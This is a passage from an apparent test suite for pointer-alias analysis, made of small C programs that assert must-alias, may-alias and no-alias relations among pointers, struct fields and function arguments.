NOALIAS(&p->f3[0], &s.f4); 26 | 27 | return 0; 28 | } 29 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/struct-assignment-direct.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Alias due to struct assignment 3 | * Author: Sen Ye 4 | * Date: 06/09/2013 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct s{ 9 | int *a; 10 | int b; 11 | }; 12 | 13 | int main() 14 | { 15 | struct s s1, s2; 16 | struct s * p1; 17 | int x, y; 18 | s1.a = &x; 19 | s1.b = y; 20 | s2 = s1; 21 | MUSTALIAS(s2.a, s1.a); 22 | return 0; 23 | } 24 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/struct-assignment-indirect.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Alias due to struct assignment 3 | * Author: Sen Ye 4 | * Date: 06/09/2013 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct s{ 9 | int *a; 10 | int *b; 11 | }; 12 | 13 | int main() 14 | { 15 | struct s s1, s2; 16 | struct s * p1; 17 | int x, y; 18 | s1.a = &x; 19 | s1.b = &y; 20 | s2 = s1; 21 | p1 = &s1; 22 | MUSTALIAS(p1->a, s2.a); 23 | MUSTALIAS(p1->b, s2.b); 24 | return 0; 25 | } 26 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/struct-assignment-nested.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Struct assignment. 3 | * Author: Sen Ye 4 | * Date: 28/04/2014 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct InnerArrayStruct { 9 | int* in1[10]; 10 | int* in2[20]; 11 | char in3; 12 | }; 13 | 14 | struct MidArrayStruct { 15 | char mid1[10]; 16 | struct InnerArrayStruct mid2[5]; 17 | }; 18 | 19 | struct ArrayStruct { 20 | char out2; 21 | struct MidArrayStruct out3; 22 | int* out4; 23 | }; 24 | 25 | int main() { 26 | struct ArrayStruct* p; 27 | struct ArrayStruct s1, s2; 28 | int x, y, i, *m; 29 | 30 | s1.out4 = &x; 31 | p = &s1; 32 | p->out3.mid2[3].in1[3] = &y; 33 | 34 | s2 = s1; 35 | 36 | m = &y; 37 | 38 | MUSTALIAS(s2.out4, &x); 39 | 40 | s1.out4 = &y; 41 | 42 | MUSTALIAS(s2.out3.mid2[3].in1[3], m); 43 | MUSTALIAS(s2.out3.mid2[3].in1[3], s2.out4); 44 | NOALIAS(s2.out3.mid2[3].in1[20], &y); 45 | 46 | MAYALIAS(s2.out3.mid2[3].in1[i], &y); 47 | 48 | return 0; 49 | } 50 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/struct-field-multi-dereference.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Alias due to struct. 3 | * Author: Sen Ye 4 | * Date: 10/10/2013 5 | */ 6 | 7 | #include "aliascheck.h" 8 | 9 | struct MyStruct { 10 | int * f1; 11 | struct MyStruct *f2; 12 | }; 13 | 14 | int main() { 15 | struct MyStruct *p, *q; 16 | struct MyStruct ms1, ms2; 17 | int x; 18 | p = &ms1; 19 | q = &ms1; 20 | ms1.f2 = &ms2; 21 | p->f2->f1 = &x; 22 | MAYALIAS(q->f2->f1, &x); 23 | return 0; 24 | } 25 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/struct-incompab-typecast-nested.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Struct casting. 3 | * Author: Sen Ye 4 | * Date: 28/04/2014 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct InnerStruct { 9 | char in1; 10 | int* in2; 11 | }; 12 | 13 | struct SrcStruct { 14 | int* f1[10]; 15 | char f2[10]; 16 | struct InnerStruct f3[5]; 17 | char f4; 18 | }; 19 | 20 | struct DstStruct { 21 | int* f1[10]; 22 | char f2[20]; 23 | struct InnerStruct f3[5]; 24 | }; 25 | 26 | int main() { 27 | struct DstStruct* pdst; 28 | struct SrcStruct* psrc; 29 | struct SrcStruct s; 30 | int x, y, z; 31 | 32 | psrc = &s; 33 | psrc->f1[3] = &x; 34 | psrc->f3[2].in2 = &y; 35 | 36 | pdst = psrc; 37 | 38 | MAYALIAS(pdst->f1[3], &x); 39 | MAYALIAS(pdst->f3[2].in2, &y); 40 | NOALIAS(psrc->f1[2], &z); 41 | 42 | pdst->f3[1].in2 = &z; 43 | MAYALIAS(psrc->f3[1].in2, &z); 44 | 45 | return 0; 46 | } 47 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/struct-incompab-typecast.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Struct casting. 3 | * Author: Sen Ye 4 | * Date: 28/04/2014 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct SrcStruct { 9 | int* f1; 10 | int* f2; 11 | char f3; 12 | }; 13 | 14 | struct DstStruct { 15 | char f1; 16 | int* f2; 17 | int* f3; 18 | }; 19 | 20 | int main() { 21 | struct DstStruct* pdst; 22 | struct SrcStruct* psrc; 23 | struct SrcStruct s; 24 | int x, y, z; 25 | 26 | psrc = &s; 27 | psrc->f1 = &x; 28 | psrc->f2 = &y; 29 | 30 | pdst = (struct DstStruct*)psrc; 31 | 32 | EXPECTEDFAIL_MAYALIAS(pdst->f2, &x); 33 | MAYALIAS(pdst->f2, &y); 34 | 35 | pdst->f3 = &z; 36 | EXPECTEDFAIL_MAYALIAS(psrc->f2, &z); 37 | 38 | return 0; 39 | } 40 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/struct-instance-return.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Return a struct instance from function. 3 | * Author: Sen Ye 4 | * Date: 07/05/2014 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct MyStruct { 9 | int* f1; 10 | char f2; 11 | }; 12 | 13 | int x, y; 14 | 15 | struct MyStruct foo() { 16 | struct MyStruct m; 17 | m.f1 = &x; 18 | return m; 19 | } 20 | 21 | int main() { 22 | struct MyStruct m; 23 | m = foo(); 24 | EXPECTEDFAIL_MAYALIAS(m.f1, &x); /// This alias holds because m points to black hole object. 25 | MAYALIAS(m.f1, &x); 26 | NOALIAS(m.f1, &y); 27 | return 0; 28 | } 29 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/struct-nested-1-layer.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Nested structs 3 | * Author: Sen Ye 4 | * Date: 06/09/2013 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct MyStruct2 { 9 | int * f3; 10 | int * f4; 11 | }; 12 | 13 | struct MyStruct1 { 14 | int *f1; 15 | struct MyStruct2 f2; 16 | }; 17 | 18 | int main() 19 | { 20 | struct MyStruct1 ms; 21 | struct MyStruct1 *pms1; 22 | struct MyStruct2 *pms2; 23 | int a, b, c; 24 | ms.f1 = &c; 25 | ms.f2.f3 = &a; 26 | ms.f2.f4 = &b; 27 | pms1 = &ms; 28 | pms2 = &ms.f2; 29 | NOALIAS(pms2->f4, pms1->f2.f3); 30 | MUSTALIAS(pms2->f3, pms1->f2.f3); 31 | return 0; 32 | } 33 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/struct-nested-2-layers.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Struct with nested structs. 3 | * Author: Sen Ye 4 | * Date: 28/04/2014 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct InnerStruct { 9 | int in1; 10 | char in2; 11 | }; 12 | 13 | struct MidStruct { 14 | int mid1; 15 | struct InnerStruct mid2; 16 | char mid3; 17 | }; 18 | 19 | struct OuterStruct { 20 | struct MidStruct out1; 21 | char out2; 22 | struct InnerStruct out3; 23 | int out4; 24 | }; 25 | 26 | int main() { 27 | struct OuterStruct* pout; 28 | struct MidStruct* pmid; 29 | struct MidStruct* ptmp; 30 | struct InnerStruct* itmp; 31 | struct InnerStruct* pin; 32 | struct OuterStruct s; 33 | 34 | pout = &s; 35 | pmid = &s.out1; 36 | ptmp = &pout->out1; 37 | MUSTALIAS(ptmp, pmid); 38 | MUSTALIAS(&(ptmp->mid2.in1), &(pmid->mid2.in1)); 39 | MUSTALIAS(&(ptmp->mid2.in2), &(pmid->mid2.in2)); 40 | 41 | pin = &s.out1.mid2; 42 | itmp = &pout->out1.mid2; 43 | MUSTALIAS(itmp, pin); 44 | MUSTALIAS(&(itmp->in1), &(pin->in1)); 45 | MUSTALIAS(&(itmp->in2), &(pin->in2)); 46 | 47 | NOALIAS(&pout->out3, pin); 48 | 49 | return 0; 50 | } 51 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/struct-nested-array1.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Struct with array of structs. 3 | * Author: Sen Ye 4 | * Date: 28/04/2014 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct InnerArrayStruct { 9 | int f1[100]; 10 | }; 11 | 12 | struct ArrayStruct { 13 | int f1; 14 | char f2; 15 | struct InnerArrayStruct f3; 16 | int f4; 17 | }; 18 | 19 | int main() { 20 | struct ArrayStruct* p; 21 | struct ArrayStruct s; 22 | int* q; 23 | 24 | p = &s; 25 | q = &s.f3.f1[40]; 26 | MAYALIAS(&p->f3.f1[40], q); 27 | MAYALIAS(&p->f3.f1[20], &s.f3.f1[20]); 28 | NOALIAS(&p->f3.f1[0], &s.f4); 29 | 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/struct-nested-array2.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Struct with array of structs and pointers. 3 | * Author: Sen Ye 4 | * Date: 28/04/2014 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct InnerArrayStruct { 9 | int* in1[10]; 10 | char in2; 11 | double in3; 12 | }; 13 | 14 | struct MidArrayStruct { 15 | char mid1; 16 | struct InnerArrayStruct mid2[5]; 17 | double mid3[20]; 18 | }; 19 | 20 | struct ArrayStruct { 21 | int out1; 22 | char out2; 23 | struct MidArrayStruct out3; 24 | int* out4; 25 | }; 26 | 27 | int main() { 28 | struct ArrayStruct* p; 29 | struct ArrayStruct s; 30 | int x, y, i; 31 | 32 | s.out4 = &x; 33 | p = &s; 34 | p->out3.mid2[2].in1[2] = s.out4; 35 | p->out3.mid2[3].in1[3] = &y; 36 | 37 | MAYALIAS(p->out3.mid2[2].in1[2], &x); 38 | MAYALIAS(s.out3.mid2[3].in1[i], &y); 39 | 40 | return 0; 41 | } 42 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/struct-nested-array3.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Struct with array of structs. 3 | * Author: Sen Ye 4 | * Date: 28/04/2014 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct InnerArrayStruct { 9 | int in1[10]; 10 | char in2; 11 | double in3; 12 | }; 13 | 14 | struct MidArrayStruct { 15 | char mid1; 16 | struct InnerArrayStruct mid2[5]; 17 | double mid3[20]; 18 | }; 19 | 20 | struct ArrayStruct { 21 | int out1; 22 | char out2; 23 | struct MidArrayStruct out3; 24 | int out4; 25 | }; 26 | 27 | int main() { 28 | struct ArrayStruct* p; 29 | struct ArrayStruct s; 30 | 31 | p = &s; 32 | 33 | MUSTALIAS(&p->out4, &s.out4); 34 | 35 | // array index out of bound 36 | MUSTALIAS(&p->out3.mid2[10].in1[10], &s.out3.mid2[10].in1[10]); 37 | // MAYALIAS(&p->out3.mid2[20], &p->out3.mid2[30]); 38 | NOALIAS(&p->out3.mid2[3].in3, &s.out3.mid3[2]); 39 | NOALIAS(&p->out3.mid2[0], &s.out4); 40 | 41 | return 0; 42 | } 43 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/struct-onefld.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Struct with one field. 3 | * Author: Sen Ye 4 | * Date: 28/04/2014 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct IntStruct { 9 | int f1; 10 | }; 11 | 12 | struct CharStruct { 13 | char f1; 14 | }; 15 | 16 | int main() { 17 | struct IntStruct* pint1, *pint2; 18 | struct IntStruct s; 19 | pint1 = &s; 20 | pint2 = &s; 21 | MUSTALIAS(&pint1->f1, &pint2->f1); 22 | MUSTALIAS(&pint1->f1, &s.f1); 23 | 24 | struct CharStruct* qint1, *qint2; 25 | struct CharStruct t; 26 | qint1 = &t; 27 | qint2 = &t; 28 | MUSTALIAS(&qint1->f1, &qint2->f1); 29 | MUSTALIAS(&qint1->f1, &t.f1); 30 | 31 | return 0; 32 | } 33 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/struct-simple.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Alias due to struct assignment 3 | * Author: Sen Ye 4 | * Date: 06/09/2013 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct s{ 9 | int *a; 10 | int b; 11 | }; 12 | 13 | int main() 14 | { 15 | struct s s1, s2; 16 | int x, y; 17 | s1.a = &x; 18 | s2.a = s1.a; 19 | MAYALIAS(s2.a, &x); 20 | NOALIAS(s2.a, &y); 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/struct-twoflds.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Struct with multiple fields. 3 | * Author: Sen Ye 4 | * Date: 28/04/2014 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct IntChar { 9 | int f1; 10 | char f2; 11 | }; 12 | 13 | struct CharInt { 14 | char f1; 15 | int f2; 16 | }; 17 | 18 | int main() { 19 | struct IntChar* pint1, *pint2; 20 | struct IntChar s; 21 | pint1 = &s; 22 | pint2 = &s; 23 | MUSTALIAS(&pint1->f1, &pint2->f1); 24 | MUSTALIAS(&pint1->f2, &pint2->f2); 25 | NOALIAS(&pint1->f1, &pint2->f2); 26 | 27 | struct CharInt* qint1, *qint2; 28 | struct CharInt t; 29 | qint1 = &t; 30 | qint2 = &t; 31 | MUSTALIAS(&qint1->f1, &qint2->f1); 32 | MUSTALIAS(&qint1->f2, &qint2->f2); 33 | NOALIAS(&qint1->f1, &qint2->f2); 34 | 35 | return 0; 36 | } 37 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs0.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int* foo(int* x){ 3 | return x; 4 | } 5 | 6 | int main(){ 7 | 8 | int *x,*y,*p,*q,a,b; 9 | p = &a; 10 | q = &b; 11 | x = foo(p); 12 | y = foo(q); 13 | MUSTALIAS(x,p); 14 | MUSTALIAS(y,q); 15 | NOALIAS(x,q); 16 | NOALIAS(y,p); 17 | } 18 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs1.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | void foo(int **x, int **y){ 3 | 4 | x = y; 5 | } 6 | 7 | int main(){ 8 | 9 | int *a, *b; 10 | int a1, b1; 11 | a = &a1; 12 | b = &b1; 13 | foo(a,b); 14 | NOALIAS(a,b); 15 | } 16 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs10.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int obj, t,s; 3 | void foo(int**, int**); 4 | main(){ 5 | int **x, **y; 6 | int *a, *b, *c, *d,*e; 7 | x=&a; y =&b; 8 | foo(x,y); 9 | MUSTALIAS(b,&obj); 10 | *b = 5; 11 | c=&s; 12 | //a=c; 13 | if(t) { x =&c; y =&e;} 14 | else { x= &d; y = &d;} 15 | foo(x,y); 16 | MAYALIAS(e,d); 17 | MAYALIAS(e,&obj); 18 | *e = 10; 19 | 20 | } 21 | 22 | void foo(int **p, int **q){ 23 | *q = &obj; 24 | } 25 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs11.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | void foo(int**a, int*b){ 3 | 4 | *a = b; 5 | 6 | } 7 | 8 | 9 | void main(){ 10 | 11 | int *p,q,*x,y; 12 | foo(&p,&q); 13 | MUSTALIAS(p,&q); 14 | foo(&x,&y); 15 | MUSTALIAS(x,&y); 16 | NOALIAS(x,&q); 17 | NOALIAS(p,&y); 18 | 19 | *p = 100; 20 | 21 | } 22 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs12.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int obj; 3 | void foo(int**, int**); 4 | main(){ 5 | int **x, **y; 6 | int *a, *b, *c, *d,*e; 7 | x=&a; y =&b; 8 | foo(x,y); 9 | MUSTALIAS(a,&obj); 10 | x = &c; 11 | foo(x,y); 12 | MUSTALIAS(c,&obj); 13 | 14 | } 15 | 16 | void foo(int **p, int **q){ 17 | *p = &obj; 18 | } 19 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs13.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | void foo(int*); 3 | int ss = 20; 4 | int main(){ 5 | int *a,*b,obj,t; 6 | a=&obj; 7 | foo(a); 8 | *a=200; 9 | b=&t; 10 | foo(b); 11 | NOALIAS(a,&ss); 12 | NOALIAS(b,&ss); 13 | } 14 | 15 | void foo(int* x){ 16 | static int* k =&ss; 17 | printf("%d\n", *k); 18 | *k=200; 19 | k=x; 20 | *x= 100; 21 | } 22 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs14.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | void foo(int*,int*); 3 | main(){ 4 | int*x, *y; 5 | int a,b, c; 6 | if(c)x=&a; 7 | else x=&b; 8 | MAYALIAS(x,&a); 9 | MAYALIAS(x,&b); 10 | foo(x,y); 11 | x = &c; 12 | foo(x,y); 13 | MUSTALIAS(x,&c); 14 | NOALIAS(x,&a); 15 | NOALIAS(x,&b); 16 | 17 | } 18 | 19 | void foo(int *p,int*q){ 20 | *p = 100; 21 | } 22 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs15.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | 3 | void foo(int **w,int**x,int **y, int *z){ 4 | int *t; 5 | *y = z; 6 | t = *x; 7 | *w = t; 8 | 9 | } 10 | 11 | void bar(int **p1,int**p2,int **p3, int *p4){ 12 | foo(p1,p2,p3,p4); 13 | } 14 | 15 | int main(){ 16 | 17 | int **a,**b,**c,*d,*a1,*b1,*c1,d1; 18 | a = &a1; 19 | b = &b1; 20 | c = &b1; 21 | d = &d1; 22 | bar(a,b,c,d); 23 | MUSTALIAS(a1,&d1); 24 | MUSTALIAS(b1,a1); 25 | // foo(a,b,c,d); 26 | // foo(b,a,c,d); 27 | } 28 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs16.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int *alloc( int size){ 3 | 4 | return malloc(1); 5 | 6 | } 7 | 8 | void foo(int **p){ 9 | 10 | *p = alloc(1); 11 | //*p = alloc(); 12 | 13 | } 14 | 15 | void main(){ 16 | 17 | int *a,*b,*c; 18 | foo(&a); 19 | foo(&b); 20 | foo(&c); 21 | NOALIAS(a,b); 22 | NOALIAS(b,c); 23 | NOALIAS(a,c); 24 | 25 | } 26 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs17.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | void bar(int**k, int**s){ 3 | 4 | *k = *s; 5 | 6 | } 7 | 8 | void foo(int**x,int**y,int**z){ 9 | int t; 10 | *y = &t; 11 | *z = *x; 12 | } 13 | 14 | int main(){ 15 | int *p1,*q1,*r1,*a1,*b1,*c1,q2,a2; 16 | int **p = &p1; 17 | int **q = &q1; 18 | q1 = &q2; 19 | int **r = &r1; 20 | int **a = &a1; 21 | a1 = &a2; 22 | int **b = &b1; 23 | int **c = &c1; 24 | bar(&p,&q); 25 | MUSTALIAS(p,q); 26 | NOALIAS(p,&p1); 27 | foo(p,q,r); 28 | MUSTALIAS(q1,r1); 29 | foo(a,b,c); 30 | MUSTALIAS(a1,c1); 31 | NOALIAS(q1,c1); 32 | NOALIAS(a1,r1); 33 | 34 | } 35 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs18.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int obj,b; 3 | void bar(int **s){ 4 | *s = &b; 5 | } 6 | 7 | void foo(int **p){ 8 | *p = &obj; 9 | bar(p); 10 | } 11 | main(){ 12 | int **x; 13 | int *a, *c; 14 | x=&a; 15 | foo(x); 16 | MUSTALIAS(a,&b); 17 | NOALIAS(a,&obj); 18 | x = &c; 19 | foo(x); 20 | MUSTALIAS(c,&b); 21 | NOALIAS(c,&obj); 22 | 23 | } 24 | 25 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs19.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int g; 3 | int* obj = &g; 4 | void Zulu(int**p, int *q); 5 | 6 | void Xray(){ 7 | 8 | int **x,*b,*w,d; 9 | x = &b; 10 | w = &d; 11 | Zulu(x,w); 12 | NOALIAS(b,w); 13 | MUSTALIAS(b,&g); 14 | } 15 | 16 | 17 | void Zulu(int**p,int *q){ 18 | 19 | *p = q; 20 | *p = obj; 21 | } 22 | 23 | void main(){ 24 | 25 | Xray(); 26 | 27 | } 28 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs2.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int obj; 3 | void foo(int **p, int **q, int **r){ 4 | 5 | 6 | *r = *p; 7 | *q = &obj; 8 | 9 | } 10 | 11 | 12 | void main(){ 13 | 14 | int **a,**b,**c,**d,**e,**f,*x,*y,*z,*w,*k,x1,y1,z1,w1,k1; 15 | x = &x1; 16 | y = &y1; 17 | z = &z1; 18 | w = &w1; 19 | k = &k1; 20 | 21 | a = &x; 22 | b = &y; 23 | c = &z; 24 | if(a){ 25 | 26 | d = &w; 27 | e = &w; 28 | f = &k; 29 | } 30 | foo(a,b,c); 31 | MUSTALIAS(x,z); 32 | MUSTALIAS(y,&obj); 33 | foo(d,e,f); 34 | NOALIAS(w,k); 35 | MAYALIAS(w,&obj); 36 | NOALIAS(x,w); 37 | NOALIAS(z,k); 38 | MAYALIAS(y,w); 39 | 40 | } 41 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs20.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int *obj; 3 | int **x,*b,*w,d; 4 | int **z, *a,*y,c; 5 | void Zulu(int**p, int *q); 6 | 7 | void Xray(){ 8 | x = &b; 9 | w = &d; 10 | Zulu(x,w); 11 | MUSTALIAS(b,&d); 12 | NOALIAS(b,&c); 13 | } 14 | 15 | void Yank(){ 16 | z = &a; 17 | y = &c; 18 | Zulu(z,y); 19 | MUSTALIAS(a,&c); 20 | NOALIAS(a,&d); 21 | } 22 | 23 | void Zulu(int**p,int *q){ 24 | *q = 100; 25 | *p = q; 26 | 27 | } 28 | 29 | void main(){ 30 | 31 | Xray(); 32 | Yank(); 33 | 34 | } 35 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs21.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int a; 3 | int *foo(int *x){ 4 | int*z = x; 5 | int* y; 6 | if(x) 7 | y = foo(z); 8 | else 9 | y = x; 10 | 11 | MAYALIAS(y,&a); 12 | return y; 13 | 14 | } 15 | 16 | int main(){ 17 | int*p; 18 | p = &a; 19 | 20 | foo(p); 21 | 22 | } 23 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs3.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | void foo(int **p, int **q, int **r,int *s){ 3 | 4 | *r = *p; 5 | *q = s; 6 | 7 | } 8 | 9 | 10 | void main(){ 11 | 12 | int **a,**b,**c,**d,**e,**f,*x,*y,*z,*w,*g,*k,x1,y1,z1,w1,k1,g1; 13 | x = &x1; 14 | y = &y1; 15 | z = &z1; 16 | w = &w1; 17 | g = &g1; 18 | k = &k1; 19 | 20 | a = &x; 21 | b = &y; 22 | c = &z; 23 | 24 | foo(a,b,c,k); 25 | MUSTALIAS(x,z); 26 | MUSTALIAS(y,&k1); 27 | d = &w; 28 | e = &w; 29 | f = &g; 30 | foo(d,e,f,k); 31 | NOALIAS(w,g); 32 | // printf("%x %x\n", w, g); 33 | MUSTALIAS(w,&k1); 34 | NOALIAS(x,w); 35 | NOALIAS(z,g); 36 | MUSTALIAS(w,y); 37 | 38 | } 39 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs4.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | void foo(int **x,int**y,int **z, int *w){ 3 | int *t; 4 | *y = w; 5 | t = *x; 6 | *z = t; 7 | 8 | } 9 | 10 | int main(){ 11 | 12 | int *a,*b,*c,d,*p,*q,r,a1; 13 | a = &a1; 14 | foo(&a,&b,&c,&d); 15 | MUSTALIAS(b,&d); 16 | MUSTALIAS(c,&a1); 17 | foo(&p,&p,&q,&r); 18 | MUSTALIAS(p,&r); 19 | MUSTALIAS(p,q); 20 | NOALIAS(b,p); 21 | NOALIAS(c,p); 22 | } 23 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs5.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int** g; 3 | 4 | void foo(int **p, int *q){ 5 | g = p; 6 | *g = q; 7 | 8 | } 9 | 10 | int main(){ 11 | int **a,*b,*a1,b1; 12 | a = &a1; 13 | b = &b1; 14 | foo(a,b); 15 | MUSTALIAS(a1,b); 16 | } 17 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs6.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int** g; 3 | 4 | void foo(int **p, int *q){ 5 | g = q; 6 | *p = g; 7 | } 8 | 9 | int main(){ 10 | int **a,*b,*a1,b1; 11 | a = &a1; 12 | b = &b1; 13 | foo(a,b); 14 | MUSTALIAS(a1,b); 15 | } 16 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs7.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | void foo(int **p, int **q){ 3 | 4 | *q = *p; 5 | 6 | } 7 | 8 | 9 | void main(){ 10 | 11 | int **a,**b,**c,**d,**e,**f,*x,*y,*z,*w,*k,x1,y1,z1,w1,k1; 12 | x = &x1; 13 | y = &y1; 14 | w = &w1; 15 | k = &k1; 16 | 17 | a = &x; 18 | b = &y; 19 | c = &w; 20 | d = &k; 21 | 22 | foo(a,b); 23 | MUSTALIAS(x,y); 24 | foo(c,d); 25 | MUSTALIAS(w,k); 26 | NOALIAS(x,k); 27 | NOALIAS(y,w); 28 | 29 | } 30 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs8.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int obj1,obj2; 3 | void foo(int **p, int **q){ 4 | 5 | *p = &obj1; 6 | *q = &obj2; 7 | 8 | } 9 | 10 | int main(){ 11 | 12 | int **a,**b,*x,*y,*z; 13 | if(a){ 14 | a = &x; 15 | b = &y; 16 | } 17 | else{ 18 | a = &z; 19 | b = &z; 20 | } 21 | foo(a,b); 22 | MAYALIAS(x,&obj1); 23 | MAYALIAS(z,&obj1); 24 | MAYALIAS(y,&obj2); 25 | MAYALIAS(z,&obj2); 26 | NOALIAS(x,&obj2); 27 | 28 | } 29 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/cs9.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | int obj, t,s; 3 | int *k =&s; 4 | void foo(int**, int**); 5 | main(){ 6 | int **x, **y; 7 | int *a, *b, *c, *d,*e; 8 | a = &t; 9 | x=&a; y =&b; 10 | foo(x,y); 11 | NOALIAS(a,b); 12 | MUSTALIAS(b,&obj); 13 | *b = 5; 14 | c=&t; 15 | c=&s; 16 | a=c; 17 | MUSTALIAS(a,c); 18 | if(t) {c=&obj; x =&c; y =&e;} 19 | else { x= &d; y = &d;} 20 | e = &t; 21 | foo(x,y); 22 | MAYALIAS(c,d); 23 | MAYALIAS(d,&obj); 24 | MAYALIAS(a,c); 25 | NOALIAS(a,d); 26 | MAYALIAS(c,d); 27 | *e = 10; 28 | 29 | } 30 | 31 | void foo(int **p, int **q){ 32 | *p = *q; 33 | *q = &obj; 34 | } 35 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/funcpoiner.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | void f(int** a, int *b) 3 | { 4 | *a = b; 5 | } 6 | 7 | typedef void (*fp)(int**,int*); 8 | 9 | void main() 10 | { 11 | int **x,*y,*z; 12 | int *m,*n,m1,n1; 13 | m = &m1; 14 | n = &n1; 15 | fp p = &f; 16 | x = &y; 17 | (*p)(x,m); /* these are equivalent */ 18 | MUSTALIAS(y,m); 19 | NOALIAS(y,n); 20 | x = &z; 21 | p(x,n); 22 | MUSTALIAS(z,n); 23 | NOALIAS(z,m); 24 | } 25 | 26 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/new_cs30.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | 3 | void foo(int **p, int **q){ 4 | *p = *q; 5 | } 6 | 7 | int main(){ 8 | 9 | int **a,**b,*x,*y,*m,*n; 10 | if(a){ 11 | a = &x; 12 | b = &y; 13 | foo(a, b); 14 | } 15 | else{ 16 | a = &m; 17 | b = &n; 18 | foo(a, b); 19 | } 20 | MAYALIAS(*a,y); 21 | MAYALIAS(*a,n); 22 | } 23 | -------------------------------------------------------------------------------- /Alias-Test/cs_tests/new_cs31.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | 3 | struct s{ 4 | int *a; 5 | int b; 6 | }; 7 | 8 | void foo(struct s *p, struct s *q){ 9 | int *x, *y, *z; 10 | x = p->a; 11 | y = p->a; 12 | z = q->a; 13 | MAYALIAS(x, y); 14 | NOALIAS(x, z); 15 | } 16 | 17 